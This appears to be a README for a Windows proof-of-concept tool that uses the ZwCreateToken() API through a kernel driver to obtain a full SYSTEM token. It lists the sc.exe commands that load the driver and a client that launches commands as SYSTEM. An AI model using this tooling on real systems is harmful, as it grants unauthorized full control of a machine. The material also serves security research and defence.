CreateToken: Exploiting ZwCreateToken() for SYSTEM Token

In the realm of cybersecurity, understanding and exploiting Windows APIs is pivotal for both defenders and attackers. In this article, we delve into the intricacies of the ZwCreateToken() API and explore how it can be exploited to obtain a coveted SYSTEM token with full privileges.

Through a step-by-step walkthrough, we will uncover the techniques and tools used in this exploit, shedding light on the potential risks it poses and the importance of safeguarding against such vulnerabilities.

PoCs to get full privileged SYSTEM token with ZwCreateToken() API.

Installation

PS C:\> sc.exe create CreateToken type= kernel binpath= C:\Dev\CreateTokenDrv_x64.sys
PS C:\> sc.exe start CreateToken

Client Program Usage

Client program performs NT AUTHORITY\SYSTEM process execution.

PS C:\Dev> .\CreateTokenClient.exe -h

CreateTokenClient - Client for CreateTokenDrv.

Usage: CreateTokenClient.exe [Options]

        -h, --help    : Displays this help message.
        -c, --command : Specifies command to execute. Default is "cmd.exe".